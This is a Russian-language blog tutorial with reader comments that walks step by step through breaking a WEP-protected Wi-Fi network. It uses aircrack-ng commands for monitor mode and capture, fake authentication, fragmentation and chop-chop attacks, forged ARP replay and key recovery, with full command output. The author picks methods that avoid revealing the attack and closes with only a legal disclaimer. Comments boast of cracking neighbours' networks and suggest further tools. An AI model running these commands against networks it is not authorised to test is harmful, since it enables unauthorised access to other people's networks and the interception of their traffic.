Практическая атака на беспроводную сеть с WEP шифрованием

    Теорию и процесс атаки хорошо описал юзер n3m0 в статьях «Атаки на беспроводные сети». Но практика там описана достаточно слабо.

    В данной статье будет описан практический процесс атаки на беспроводную сеть с шифрованием WEP, используя пакет aircrack-ng и операционную систему OpenSuse.
    image image

    Программы


    Данный пакет находится в репозитариях практически всех ОС GNU/Linux. Есть портированная под Windows версия, однако в связи с лучшей поддержкой драйверов в Linux, была выбрана именно данная операционная система.
    Установка
    # zypper in aircrack-ng

    После установки возник вопрос с аппаратной частью. А именно — встроенный в ноутбук Wi-Fi адаптер категорически отказался связываться с точкой по причине низкого уровня сигнала. В результате чего — был взят USB-адаптер TrendNet TEW-424UB.
    # lsusb | grep Net
    Bus 001 Device 002: ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter


    Драйвера адаптера замечательно поддерживают airodump, и для aireplay не пришлось накладывать патч для mac80211.
    Ссылка на сайт с совместимостью драйверов
    dmesg сообщает нам, что автоматически данный адаптер не поднялся, но нам собственно и не надо:
    [ 2609.580074] rtl8187: Customer ID is 0x00
    [ 2609.580144] Registered led device: rtl8187-phy1::tx
    [ 2609.580171] Registered led device: rtl8187-phy1::rx
    [ 2617.830502] ADDRCONF(NETDEV_UP): wlan0: link is not ready


    Сканирование диапазона
    Запускаем адаптер в режиме мониторинга.
    # airmon-ng start wlan0

    Interface Chipset Driver

    eth1 Intel 2200BG ipw2200
    wlan0 RTL8187 rtl8187 - [phy1]
    (monitor mode enabled on mon0)


    Взломом занимается виртуальный адаптер mon0. Оригинальный же адаптер по прежнему находится в режиме management.
    # iwconfig wlan0
    wlan0 IEEE 802.11bg ESSID:""
    Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
    # iwconfig mon0
    mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm


    Теперь запускаем процесс сканирования доступных беспроводных сетей.
    # airodump-ng mon0
    image
    Поля в клиенте означают следующее:
    • BSSID — MAC адрес точки доступа
    • PWR — уровень сигнала
    • Beacons — число служебных пакетов от точки доступа (по росту их числа можно косвенно следить за качеством связи)
    • #Data — число пойманных пакетов с данными
    • CH — номера канала на котором находится точка доступа
    • MB — скорость передачи данных
    • ENC — алгоритм шифрования
    • CIPHER — тип шифрования
    • AUTH — тип авторизации
    • ESSID — название точки доступа
    • STATION — MAC адрес клиента
    • Probes — названия сетей с которыми пытался соединиться клиент

    Мы будем пытаться найти уязвимость в сети ESSID. Как видно — она находится на 6 канале. Можно просто указать параметр -c 6 для airodump-ng, но для обучения погасим адаптер и принудительно выставим его на 6 канал:
    # airmon-ng stop mon0
    mon0 RTL8187 rtl8187 - [phy1] (removed)
    # airmon-ng start wlan0 6
    wlan0 RTL8187 rtl8187 - [phy1]
    (monitor mode enabled on mon0)


    В связи с тем, что каналы Wi-Fi сетей частично перекрываются
    image
    и настроив на определенный канал, мы получим еще и соседние точки доступа, принудительно выставим использование только определенной частоты и сделаем фильтрацию по BSSID. Параметром -w включается, куда писать пойманные данные.
    # airodump-ng -c 6 --bssid 00:1B:11:E7:DD:D5 -w essid.out mon0

    Дальше можно либо сидеть и ждать, пока наберется достаточное количество пакетов с данными и переходить непосредственно к подбору ключа, либо использовать активные атаки.

    Активные атаки.
    Во первых для проверки того, что точка видит наши пакеты и драйвера поддерживают все функции можно попробовать аутентифицироваться на точке. В случае, если клиент не аутентифицирован — то точка не будет принимать его пакеты. Пробуем аутентифицироваться:

    # aireplay-ng -1 0 -e ESSID mon0
    No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)
    19:30:28 Waiting for beacon frame (ESSID: ESSID) on channel 6
    Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
    19:30:28 Sending Authentication Request (Open System) [ACK]
    19:30:28 Authentication successful
    19:30:28 Sending Association Request [ACK]
    19:30:28 Association successful :-) (AID: 1)


    Заодно проверим работоспособность инъекций.
    # aireplay-ng -9 -e ESSID mon0
    19:31:35 Waiting for beacon frame (ESSID: ESSID) on channel 6
    Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
    19:31:35 Trying broadcast probe requests...
    19:31:35 Injection is working!
    19:31:36 Found 1 AP
    19:31:36 Trying directed probe requests...
    19:31:36 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'
    19:31:37 Ping (min/avg/max): 0.771ms/6.558ms/11.080ms Power: -48.50
    19:31:37 30/30: 100%


    Успешно. Значит мы можем использовать для данной точки активные атаки.
    Деассоциировать имеющегося клиента часто не стоит — можно открыть факт атаки. Поэтому мы будем использовать fragmentation attack.
    # aireplay-ng -5 -b 00:1B:11:E7:DD:D5 mon0
    No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)
    19:37:26 Waiting for beacon frame (BSSID: 00:1B:11:E7:DD:D5) on channel 6
    19:37:26 Waiting for a data packet...
    Read 362 packets...


    Логично, что если точка обладает хотя бы минимальными функциями, то в ней есть CAM таблица и к нам придет широковещательный пакет
    Size: 277, FromDS: 1, ToDS: 0 (WEP)

    BSSID = 00:1B:11:E7:DD:D5
    Dest. MAC = FF:FF:FF:FF:FF:FF
    Source MAC = 00:22:43:01:C6:7F

    0x0000: 0842 0000 ffff ffff ffff 001b 11e7 ddd5 .B..............
    0x0010: 0022 4301 c67f 8009 3a1f 0000 0eb0 723b ."C....:.....r;
    0x0020: c25a 0453 0691 0afa 5ae3 4365 c309 9094 .Z.S....Z.Ce....
    0x0030: b0f9 90a9 65bf 1785 9f0a 65fa ba5a cb7d ....e.....e..Z.}
    0x0040: f357 7167 c133 1efd ca2e 4ec9 9133 ea20 .Wqg.3....N..3.
    0x0050: e508 c7af fce3 bbf3 599d c4a9 e01d 5e4f ........Y.....^O
    0x0060: 88e8 9997 a5ef 3f0f 058f 3c8a 100f d667 ......?...<....g
    0x0070: 2f0f 9f47 a3b0 f4cd 25f8 2cd4 af9e 157c /..G....%.,....|
    0x0080: c456 5232 6903 eb5b e935 5dd2 9816 f94c .VR2i..[.5]....L
    0x0090: 18ab ea4c aabd 11ed 41a3 88c9 a5ac 726c ...L....A.....rl
    0x00a0: 3b81 024c 5cfe 24d9 78a5 339b 02aa e147 ;..L\.$.x.3....G
    0x00b0: eeb2 512c 1d52 aaa0 2992 88a7 be2a cd6d ..Q,.R..)....*.m
    0x00c0: ab44 3248 619c 2402 8cda 621e ed9c 9109 .D2Ha.$...b.....
    0x00d0: 62e9 23f7 be38 5f6f bfc9 da45 310a 6957 b.#..8_o...E1.iW
    --- CUT ---

    Use this packet ? Y

    Saving chosen packet in replay_src-0427-193751.cap
    19:38:22 Data packet found!
    19:38:22 Sending fragmented packet
    19:38:23 No answer, repeating...
    19:38:23 Trying a LLC NULL packet
    19:38:23 Sending fragmented packet
    19:38:25 Not enough acks, repeating...
    19:38:25 Trying a LLC NULL packet
    19:38:25 Sending fragmented packet
    19:38:27 No answer, repeating...
    19:38:27 Sending fragmented packet
    19:38:27 Got RELAYED packet!!
    19:38:27 Trying to get 384 bytes of a keystream
    19:38:27 Not enough acks, repeating...
    19:38:27 Trying to get 384 bytes of a keystream
    19:38:28 No answer, repeating...
    19:38:28 Trying to get 384 bytes of a keystream
    19:38:28 Trying a LLC NULL packet
    19:38:28 Not enough acks, repeating...
    19:38:28 Trying to get 384 bytes of a keystream
    19:38:28 Trying a LLC NULL packet
    19:38:30 No answer, repeating...
    19:38:30 Trying to get 384 bytes of a keystream
    19:38:30 Got RELAYED packet!!
    19:38:30 Trying to get 1500 bytes of a keystream
    19:38:30 Got RELAYED packet!!
    Saving keystream in fragment-0427-193830.xor
    Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


    Точка поддерживает fragmentation атаку. В случае, если данная атака не поддерживается — пробуем использовать метод, предложенный korak'ом, называемый chop-chop.
    # aireplay-ng -4 -e ESSID mon0
    19:42:08 Waiting for beacon frame (ESSID: ESSID) on channel 6
    Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
    Read 182 packets...

    Size: 86, FromDS: 1, ToDS: 0 (WEP)
    .....
    Use this packet ? y
    Saving chosen packet in replay_src-0427-194221.cap

    Offset 85 ( 0% done) | xor = D5 | pt = BF | 838 frames written in 14259ms
    Offset 84 ( 1% done) | xor = 9B | pt = 57 | 1293 frames written in 21971ms
    Offset 83 ( 3% done) | xor = 92 | pt = A8 | 2567 frames written in 43637ms


    можно увидеть насколько время подбора у меня выше, чем время на сайте из-за низкого сигнала до точки. С сайта aircrack:
    Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms
    Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms
    Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms


    В результате использования обоих методов, мы получаем xor-файл, в котором содержится PRGA (pseudo random generation algorithm). Теперь мы можем сделать поддельный arp-запрос и использовать его для того, чтобы набрать необходимое число пакетов с данными.
    # packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0427-193830.xor -w arp-request
    Wrote packet to: arp-request


    Теперь отправим данный пакет в сеть.
    # aireplay-ng -2 -r arp-request mon0
    No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)

    Size: 68, FromDS: 0, ToDS: 1 (WEP)

    BSSID = 00:1B:11:E7:DD:D5
    Dest. MAC = FF:FF:FF:FF:FF:FF
    Source MAC = 00:09:5B:EC:EE:F2

    0x0000: 0841 0201 001b 11e7 ddd5 0009 5bec eef2 .A..........[...
    0x0010: ffff ffff ffff 8001 471f 0000 548b 4dde ........G...T.M.
    0x0020: 5747 3254 b5ff 7b7d b389 dbe9 7a9e 389c WG2T..{}....z.8.
    0x0030: ce3e 85a3 384f 2858 b612 8532 b57e f3ad .>..8O(X...2.~..
    0x0040: 420c 26b8 B.&.

    Use this packet ? y
    Saving chosen packet in replay_src-0427-195956.cap
    You should also start airodump-ng to capture replies.

    Sent 1301 packets...(500 pps)


    При этом должно резко возрасти количество принимаемых пакетов с данными от точки. У меня не возросло. Странно. Попробуем работоспособность инъекций
    # aireplay-ng -9 -e ESSID mon0
    20:02:47 Waiting for beacon frame (ESSID: ESSID) on channel 6
    Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
    20:02:47 Trying broadcast probe requests...
    20:02:48 Injection is working!
    20:02:48 Found 1 AP

    20:02:48 Trying directed probe requests...
    20:02:48 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'
    20:02:49 Ping (min/avg/max): 0.796ms/6.685ms/10.849ms Power: -48.67
    20:02:49 27/30: 90%


    Работает. Попробуем переделать arp-запрос, чтобы он исходил как-бы из реальной сети. Обычно пользователи оставляют стандартные адреса 192.168.1.1/24. Используем этот адрес в качестве опрашиваемого. Заодно перезапустим airodump
    # packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 192.168.1.1 -l 192.168.1.250 -y fragment-0427-193830.xor -w arp-request1
    Wrote packet to: arp-request1
    # aireplay-ng -2 -r arp-request1 mon0
    .......
    Sent 799 packets...(499 pps)


    image

    Вот теперь заработало. Число получаемых пакетов под 300 в секунду.
    Меньше, чем через 3 минуты 30 000 пакетов с данными. Попробуем подобрать ключ.
    # aircrack-ng essid.out-0*.cap
    Opening essid.out-01.cap
    Opening essid.out-02.cap
    Reading packets, please wait...

    Attack will be restarted every 5000 captured ivs.
    Starting PTW attack with 37621 ivs.
    KEY FOUND! [ 51:81:82:41:07 ]
    Decrypted correctly: 100%


    Забиваем ключ в клиент. Ура, подключились. Теперь можно сделать arp-spoofing и прослушать траффик — но это уже для следующей статьи.

    Данная информация приведена только для ознакомления. Автор напоминает вам о Статье 272 УК РФ «Неправомерный доступ к компьютерной информации»
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 57

      –17
      Если бы все тоже, да под Винды %)
        +4
        Под Windows имеются некоторые проблемы с драйверами. Есть live-cd дистрибутивы, с помощью которых можно проводить мониторинг сети. Например BackTrack. Есть и аналогичные.
          0
          В бектреке есть утилита, к сожелению забыл название, у неё такой черный интерфейс похожий на консоль только размер окна маленький, так она сама делает реплей, там надо только выбрать канал, указать BSSID и подменный мак чтобы без палева.
          Сначала прога собирает пакеты минуты 2 и делает первую попытку, если длинна ключа больше стандартного, то продолжает. Я за 3 минуты точку хакнул со своего EEEPC 900 и мне aircrack даже не понадобился.
            +5
            spoonwep?
              0
              Точно она самая!
              0
              В бактреке теперь есть еще более простая тулза — Gerix.
                0
                в EEEPC900 же модуль который не работает в режиме монитора… не понятно… всё средствами софта? то есть слушается не эфир, а производится подключение поочерёдно к каждой сети с перебором?
                  0
                  Работает вообще-то, путём патчинга драйверов. Есть программулина которая сама патчит драйвера под винду, только реплей у неё не работает, поэтому проще через бектрек и spoonwep в нём.
                    0
                    Если модуль не имеет возможность работать в режиме монитора его ничем не заставишь…
                    Возможно, только если микрокод пропатчить.
                      0
                      Быстро Вы отвечаете :), на ееерс есть режим монитора там atheros 5007 помому так, но у меня дома лежит 900й и я с него за 5 минул ломал wep точку.
              • НЛО прилетело и опубликовало эту надпись здесь
                +2
                CommView для сниффинга, и aircrack для перебора, airereplay к сожалению под виндой врядли заработает, обычно ругается на драйвера, мол нет такой возможности
                  0
                  Без возможности «разговорить» точку иногда приходиться очень долго собирать пакеты. Один раз снифал пакеты 2е суток, по причине слабого сигнала, а в итоге ключ оказался 1111111111 %))
                0
                Читал подобные статьи, но всегда смущал конец

                KEY FOUND! [ 51:81:82:41:07 ] — это что, ключ прям такой вот? :)

                  +1
                  Если есть возможность преобразования вот такого в HEX то тогда это будет преобразовано. К сожалению это не всегда удается.
                  Оба варианта ввода ключа равнозначны. Как и ASCII так и HEX.
                    +5
                    если делать скриншот alt+prtscr, то скринится активное окно и не придется обрезать )
                    0
                    это ключ в шеснадцатеричном формате
                    –1
                    ждем еще)
                      +2
                      Переноси в ИБ.
                      WEP сейчас малоактуальный тип шифрования и от него уже почти полностью отказались (угадайте, почему?), так что ждем подробной статьи по WPA.
                        +3
                        Перенес. По WPA могу написать, но там все менее интересней
                          0
                          взлом может быть, но результаты обычно веселые всегда…
                            +11
                            Напишите лучше о WPA2. Нам уже точно будет интересней
                              0
                              WPA мало чем отличается от WPA2 в контексте отлома. Оба — задница. Да и подход не отличается. Вардрайвинг стал популярным, когда на WEP стали появляться атаки — одна за другой. А брутить WPA/WPA2, пускай даже в несколько более простых вариантах — ну это головняк и нудно )
                                0
                                Ага. Я уже и забыл когда последний раз WEP видел.
                                  +1
                                  По спальным районам Москвы незакрытых то точек уйма, не говоря уже о точках с wep.
                              +1
                              WEP малоактуален, это да, но есть люди совсем несведующие в вопросах ИБ. У меня в округе есть даже незапароленная точка с доступом к интернету. Если вдруг какие-то лаги у моего провайдера наблюдаются, я бегом туда. Хотел получить доступ к машине хозяина той точки, чтобы сообщить, что надо «предохраняться», но не стал нарушать УК РФ.
                                +1
                                net send и никаких нарушений )
                              –5
                              Спасибо за статью! Появилась идея поставить на ноут еще и OpenSuse (специально для целей взлома вафли).
                                +4
                                есть кстати BackTrack — linux дистрибутив для взломов сетей.
                                www.backtrack-linux.org/
                                  0
                                  Если вы занимаетесь пенетрацией — нет ничего лучше дистриба собранного под себя.
                                  +4
                                  мы на кафедре всей группой ломали сетку от соседней кафедры:)
                                  а потом выяснилось, что пароль был написан на доске:)

                                  но было весело!
                                    0
                                    Интересная статья. Но возник один вопрос. А реально ли выполнить хоть что-то из приведённого в этой статье на точке, на которой настроена фильтрация по MAC-адресам?
                                      +1
                                      Есть несколько вариантов обхода фильтрации. Проблем нет. Подмена MAC — задача тривиальная, на вики aircrack-ng было много заметок.
                                      +3
                                      Спасибо за методику подключения к Соседи-Телеком. Полезно.
                                        +12
                                        О боже, вы опоздали года на 4 минимум. Еще в далеком 2006, кто как только не переписывал эти статьи по взлому wep, так к чему же очередной не нужный рерайт? В теме вардрайвинга столько интересных моментов, но все замусоливают одно и то же.
                                        Извините, не сдержался.
                                          0
                                          Абсолютно в точку. Даже в провинции кол-во WEP-защищенных спотов уменьшилось на порядок за последний год-два. WEP обсосан от и до на паблике, скомпрометировавший себя трижды (если мне память не изменяет) алго. А про WPA/WPA2 мало что можно написать — подход один, результат только через брут. А с брутом киддисы не связываются.
                                            0
                                            >>Даже в провинции кол-во…
                                            Я так думаю, что в более бедных городах вайрлес роутеры имеют более разбирающиееся в этом люди, а в городах в высоким доходом даже ГлАмУрНыЕ ДеФоЧкИ. Соответственно шансов на то, что дефочка не закроет сеть выше, т.е. — если говорить о России — в Москве таких точек должно быть больше.

                                              0
                                              а мне везёт — у меня почти везде обнаруживается по 1-2 точки, защищённых WEP. Так что статья не совсем бесполезная ;)
                                              0
                                              А замусоливают, потому что отдача большая от этого.
                                              Взломать вай-фай сетку — это же так круто! Правда как вы отметили, тема WEP исчерпала себя очень давно. Писать практические статьи про это в 2010 году — по крайней мере странно.
                                              0
                                              Хм… было бы тут хоть что-то новое, кстати проводил небольшой анализ(локальный) в екатеринбурге на примере одного райончика, люди за год стали умнее и более заботятся о безопасности своей сети, в прошлом году из 10-15 точек впа/впа2 было лишь 2-4, в этом году ни одной точки с веп шифрованием, при этом я прекрасно помню имена точек ~70% теже самые что и в прошлом году.
                                                –2
                                                Это всё круто но я думаю надо написать программу которая будет сама определять уязвима ли выбранная точка к разным типам атак и сама всё делать :-) Чтоб юзеру надо было только выбрать точку и нажать «Хэкнуть».
                                                Кстати я думаю это реализовать вполне не сложно… на основе данной софтины.
                                                +3
                                                Мдя… че-то давненько я не видал AP с wep :-)
                                                А вы?
                                                  +1
                                                  нахожусь сейчас в Турции, в моей комнате (живу в квартире) около 20 точек доступа видно, только две из них WPA. Все остальные WEP 40 битный.
                                                  +3
                                                  > Точка поддерживает fragmentation атаку. В случае, если данная атака не поддерживается — пробуем использовать метод, предложенный korak'ом, называемый chop-chop.

                                                  На кого ориентирована статья? Если человек не разбирается в теме, то она ничему не учит, не поясняет, что есть первая атака и когда она бывает возможной и что есть вторая. Тогда читатель максимум может как обезьянка повторить команды из статьи, и потом огорчится, что у него это почему-то не прошло. А если ориентация на подготовленного читателя, который знает WiFi гораздо глубже чем «распаковать wifi роутер, воткнуть в розетку, запустить wizard, нажать Next/OK 5 раз» — тогда ему не нужно читать как пользоваться простой комманд-лайн утилиткой.
                                                  • НЛО прилетело и опубликовало эту надпись здесь
                                                    • НЛО прилетело и опубликовало эту надпись здесь
                                                      0
                                                      А не проще ли kismet заюзать? Он умеет пакеты конкретной точки в отдельный файл собирать, а потом aircrack-ng file и все, вобщем-то… Если я ничего не путаю после пива -)
                                                        0
                                                        Там ещё реплей нужен, тоесть без него тоже можно, только пакеты не одни сутки надо собирать, а с тем же spoonwep 3-4 минут.
                                                          0
                                                          А, если ситуация с низким траффиком — тогда да. А если активно точку юзают — 15 минут хватает.
                                                        0
                                                        Более «интересный» в плане что-то найти — это взлом WPA, но тут только перебор. Хотя если поразмыслить, то многие люди с паролями не заморачиваются, имея хорошо подобранный словарь можно достичь 20-30% успешных взломов свободно выбранной точки.
                                                        • НЛО прилетело и опубликовало эту надпись здесь
                                                          • НЛО прилетело и опубликовало эту надпись здесь
                                                              0
                                                              Сегодня халявный интернет из взломаных WiFi сетей уже никому неинтересен, т.к. открытых сетей и так много, а весь «соседский» инет и так уже стоит копейки.

                                                              А так мне бы было интересно только WPA2, т.к. это стандрат шифрования дефакто, и это возможность получить конф. информацию.
                                                              0
                                                              Успешно. Значит мы можем использовать для данной точки активные атаки.
                                                                0
                                                                Собственно на этом достаточно часто заканчиваются попытки взлома. Не всегда всё так успешно, ой как не всегда.
                                                                +1
                                                                Для перебора WPA по словарю лучше использовать Pyrit — он может использовать ATI-Stream, Nvidia CUDA, OpenCL, что намного ускоряет процесс code.google.com/p/pyrit/.

                                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                Самое читаемое